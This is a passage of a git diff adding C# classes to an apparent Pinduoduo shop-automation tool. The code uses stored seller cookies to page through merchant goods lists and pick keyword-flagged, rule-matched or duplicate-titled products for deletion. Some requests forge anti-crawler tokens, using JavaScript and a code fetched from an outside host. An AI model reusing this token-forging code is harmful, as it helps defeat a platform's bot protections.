b/Work/ManageClass/UpPinduoduoProductSet.cs new file mode 100644 index 0000000..0ac3247 --- /dev/null +++ b/Work/ManageClass/UpPinduoduoProductSet.cs @@ -0,0 +1,74 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using Work.CollectClass; +using Work.Api; +using Work.ManageClass; + +namespace Work.ManageClass +{ + public class UpPinduoduoProductSet + { + public static Dictionary TaobaoProductTemp = new Dictionary(); + public static Dictionary CatTemp = new Dictionary(); + public static Dictionary ImageTemp = new Dictionary(); + public string Name, Cookies = "", Message = ""; + public static string strContent = ""; + public static bool RandomProps = false, TitleExploder = false, Shield = false, SaveAllImage = false, Relation = false; + public bool FullToday = false, Punish = false, Success = false; + public int MainCatId = 0; + public TaobaoProductBase p; + public TaobaoProductBase t; + public TaobaoProductBase mt = null; + public ShopChatBase Shop = null; + public string brandName; + public UpPinduoduoProductSet(string name, TaobaoProductBase P, TaobaoProductBase T) + { + Name = name; + p = P; + t = T; + } + + /// + /// 添加商品图片到到缓存 + /// + /// + /// + public static void AddImage(string key, string url, int width, int height) + { + if (string.IsNullOrEmpty(url)) + return; + if (ImageTemp.ContainsKey(key) && url.Contains("http:")) + ImageTemp[key] = new ImageUrlBase(url, width, height); + if (ImageTemp.ContainsKey(key) || string.IsNullOrEmpty(key) || string.IsNullOrEmpty(url)) + return; + try + { + ImageTemp.Add(key, new ImageUrlBase(url, width, height)); + } + catch + { + } + } + + public Dictionary PriceTemp = new Dictionary(); + } + + public class ImageUrlBase + { + public ImageUrlBase(string url, int w, int h) + { + Url = url; + Width = w; + Height = h; + } + + public string Url; + public int Width; + public int Height; + } +} diff --git a/Work/ManageClass/UploadProductAllShop.cs b/Work/ManageClass/UploadProductAllShop.cs new file mode 100644 index 0000000..2dbc363 --- /dev/null +++ b/Work/ManageClass/UploadProductAllShop.cs @@ -0,0 +1,28 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using AllBase; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class UploadProductAllShop + { + public static List Products = new List(); + public static List ProductTemp = new List(); + public static int ThreadCount = 0, AddMinutes = 10, UserMainImage = 0; + public static bool Running = false, AutoUpload = false, OnlyFree = false, UpToDown = false, FissionSameShop = false, ReplaceModel = false, ReplaceVisitMax = false; + public static DateTime CreateTime = DateTime.Today.AddDays(-1), UpDate = DateTime.Today.AddDays(-1); + public static Dictionary> JustUpload = new Dictionary>(); + public string Name; + + public UploadProductAllShop(string name) + { + Name = name; + } + } +} diff --git a/Work/ManageClass/VioProductGroup.cs b/Work/ManageClass/VioProductGroup.cs new file mode 100644 index 0000000..aaed227 --- /dev/null +++ b/Work/ManageClass/VioProductGroup.cs @@ -0,0 +1,1244 @@ +using AllBase; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class VioProductGroup + { + public string Name; + public ShopChatBase Shop; + public string delTitle; + bool isOnline = false; + public List ids = new List(); + public List pidList = new List(); + /// + /// 不包含销量 + /// + public static bool IsNoSold = false; + /// + /// 不包含访客 + /// + public static bool IsNoVisit = false; + /// + /// 不包含收藏 + /// + public static bool IsNoColl = false; + /// + /// 获取企业全部上家 + /// + public static Dictionary UpIdsList = new Dictionary(); + public List ProductChangeDelTemp = new List(); + public VioProductGroup(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + public void GetVioKeyWordDel() + { + Shop.VioProduct.Clear(); + if (IsNoVisit) + GetOnOrOff(); + int mallId = Shop.MallId; + string temptitle = ""; + if (!string.IsNullOrEmpty(delTitle)) + { + string[] idsx = delTitle.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < idsx.Length; i++) + { + temptitle += idsx[i] + ","; + } + } + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = ""; + if (!string.IsNullOrEmpty(temptitle)) + data = "{\"order_by\":\"id:asc\",\"goods_name\":\"" + temptitle.Substring(0,temptitle.Length-1) + "\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + else + data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + if (p.GoodsId == 0 || string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + int fav_cnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + if (!string.IsNullOrEmpty(delTitle)) + { + string[] ids = delTitle.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries); + bool ishas = false; + for (int k = 0; k < ids.Length; k++) + { + if (p.Titlte.Contains(ids[k])) + { + ishas = true; + break; + } + } + if (!ishas) + continue; + } + + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + + if (IsNoSold && p.SaleCount > 0) + { + // 跳过有销量商品 + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + if (IsNoColl && fav_cnt > 0) + { + // 跳过收藏商品 + LogSave.Add(Name, "跳过收藏商品 " + p.GoodsId); + continue; + } + var pid = pidList.Find(id => id == p.GoodsId); + if (pid > 0) + { + // 跳过有访客商品 + continue; + } + if (!Shop.VioProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + { + //if (!p.Titlte.Contains(delTitle)) + // continue; + Shop.VioProduct.Add(p); + VioProductControl.ProductDelTemp.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线关键词产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetFilterKeyWordDel() + { + Shop.VioProduct.Clear(); + int mallId = Shop.MallId; + string temptitle = ""; + if (!string.IsNullOrEmpty(delTitle)) + { + string[] idsx = delTitle.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < idsx.Length; i++) + { + temptitle += idsx[i] + ","; + } + } + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = ""; + if (!string.IsNullOrEmpty(delTitle)) + data = "{\"order_by\":\"id:asc\",\"goods_name\":\"" + temptitle.Substring(0,temptitle.Length-1) + "\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + else + data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + if (p.GoodsId == 0 || string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + int fav_cnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + if (!string.IsNullOrEmpty(delTitle)) + { + string[] ids = delTitle.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries); + bool ishas = false; + for (int k = 0; k < ids.Length; k++) + { + if (p.Titlte.Contains(ids[k])) + { + ishas = true; + break; + } + } + if (!ishas) + continue; + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (IsNoSold && p.SaleCount > 0) + { + // 跳过有销量商品 + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + if (IsNoColl && fav_cnt > 0) + { + // 跳过收藏商品 + LogSave.Add(Name, "跳过收藏商品 " + p.GoodsId); + continue; + } + var pid = pidList.Find(id => id == p.GoodsId); + if (pid > 0) + { + // 跳过有访客商品 + continue; + } + string md5title = GetMd5(p.Titlte); + var exsitTitle = UploadPinduoduoMain.RuleTitles.Find(title => title == md5title); + var fid = filPidlist.Find(id => id == p.GoodsId.ToString()); + if (string.IsNullOrEmpty(fid)&& string.IsNullOrEmpty(exsitTitle)) + { + // 跳过正常商品 + continue; + } + if (!Shop.VioProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + { + Shop.VioProduct.Add(p); + VioProductControl.ProductDelTemp.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取违规关键词产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public static string GetMd5(string instring) + { + //try + //{ + byte[] result = Encoding.Default.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + //} + //catch + //{ + //} + //return ""; + } + public void GetVioKeyWordDel2() + { + List titles = new List(); + var mt = BaseRegex.GetMatchRegex(ref delTitle, @"([\w\W]+?)[,|\r\n|\s{1,}]"); + for (int j = 0; mt != null && j < mt.Count; j++) + { + string item = mt[j].Groups[1].Value.Trim(); + if (string.IsNullOrEmpty(item)) + continue; + titles.Add(item); + } + Shop.VioProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + if (p.GoodsId == 0 || string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (!Shop.VioProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + { + bool ishas = false; + foreach (string s in titles) + { + if (p.Titlte.Contains(s)) + { + ishas = true; + break; + } + } + if (!ishas) + continue; + Shop.VioProduct.Add(p); + VioProductControl.ProductDelTemp.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线关键词产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetVioAllWord() + { + Shop.VioProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + if (p.GoodsId == 0 || string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (!VioProductControl.UpIds.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + { + VioProductControl.UpIds.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线关键词产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetRepeatGoodOnline() + { + ids.Clear(); + DelGetGroup(); + DelOrder(); + if(IsNoVisit) + GetOnOrOff(); + Shop.VioProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (html.Contains("超过商品数量查询范围,请缩小筛选范围")) + break; + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetMatchRegexString(list, @"[""]goods_name[""][\s]*:[\s]*[""]([^}]+?)[""]"); + if (string.IsNullOrEmpty(p.Titlte)) + continue; + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + ProductChangeDelTemp.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + for (int i = 0; i < ProductChangeDelTemp.Count; i++) + { + var p = ProductChangeDelTemp[i]; + var shopname = Shop.ShopName; + try + { + var px = ProductChangeDelTemp.FindAll(pt => pt.GoodsId != p.GoodsId && pt.Titlte == p.Titlte); + int count = px.Count+1; + if (ids.Contains(p.GoodsId)) + continue; + bool ishas = false; + if (IsNoSold && p.SaleCount > 0) + ishas = true; + if (IsNoColl && p.favcnt > 0) + ishas = true; + var pid = pidList.Find(id => id == p.GoodsId); + if (pid > 0) + ishas = true; + if (px.Count>0&&!ishas) + { + //string tempId = ""; + //for (int j = 0; j < px.Count; j++) + //{ + // tempId += px[j].GoodsId.ToString() + ","; + // ids.Add(px[j].GoodsId); + //} + //p.repeatTitltId = tempId.Substring(0, tempId.Length - 1); + if (px.Count>1) + { + var pxt = ProductChangeDelTemp.FindAll(pt => pt.Titlte == p.Titlte); + if (pxt[0].GoodsId == p.GoodsId) + continue; + } + p.repeatTitltId = px[0].GoodsId.ToString(); + Shop.VioProduct.Add(p); + VioProductControl.ProductDelTemp.Add(p); + } + if (px.Count > 0 && ishas) + { + px[0].repeatTitltId = p.GoodsId.ToString(); + if (IsNoSold && px[0].SaleCount > 0) + continue; + if (IsNoColl && px[0].favcnt > 0) + continue; + pid = pidList.Find(id => id == px[0].GoodsId); + if (pid > 0) + continue; + Shop.VioProduct.Add(px[0]); + VioProductControl.ProductDelTemp.Add(px[0]); + } + } + catch + { + } + } + + } + public void DelOrder() + { + //30天订单量 + string url = "https://mms.pinduoduo.com/mars/shop/recentOrderList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + + int confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + int confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59"))); + int isLucky = -1; + string afterSaleType = "1"; + int pageNumber = 1; + int remarkStatus = -1; + int pageSize = 50; + string source = "MMS"; + string data = "{\"orderType\":0,\"afterSaleType\":" + afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime + + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + //30天订单量 + int allCount = BaseRegex.GetIntJson(ref html, "totalItemNum"); + + int page = allCount / 50 + (allCount % 50 > 0 ? 1 : 0); + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#pageNumber#", (i + 1).ToString()), Shop.Cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long Id = BaseRegex.GetLongJson(ref list, "goods_id"); + var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == Id); + if (pt != null) + { + Shop.OnOrOffProduct.Remove(pt); + LogSave.Add(Name, "移除有订单 " + pt.GoodsId); + } + Thread.Sleep(100); + } + } + } + public void GetOnOrOff() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsDetailVOList"; + string refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + string data = "{\"goodsId\":\"\",\"cate1Id\":\"\",\"cate2Id\":\"\",\"cate3Id\":\"\",\"startDate\":\"" + BaseClass.GetServerTimeString().AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"sortCol\":0,\"sortType\":1,\"pageNum\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codex + "\"}"; + string html = 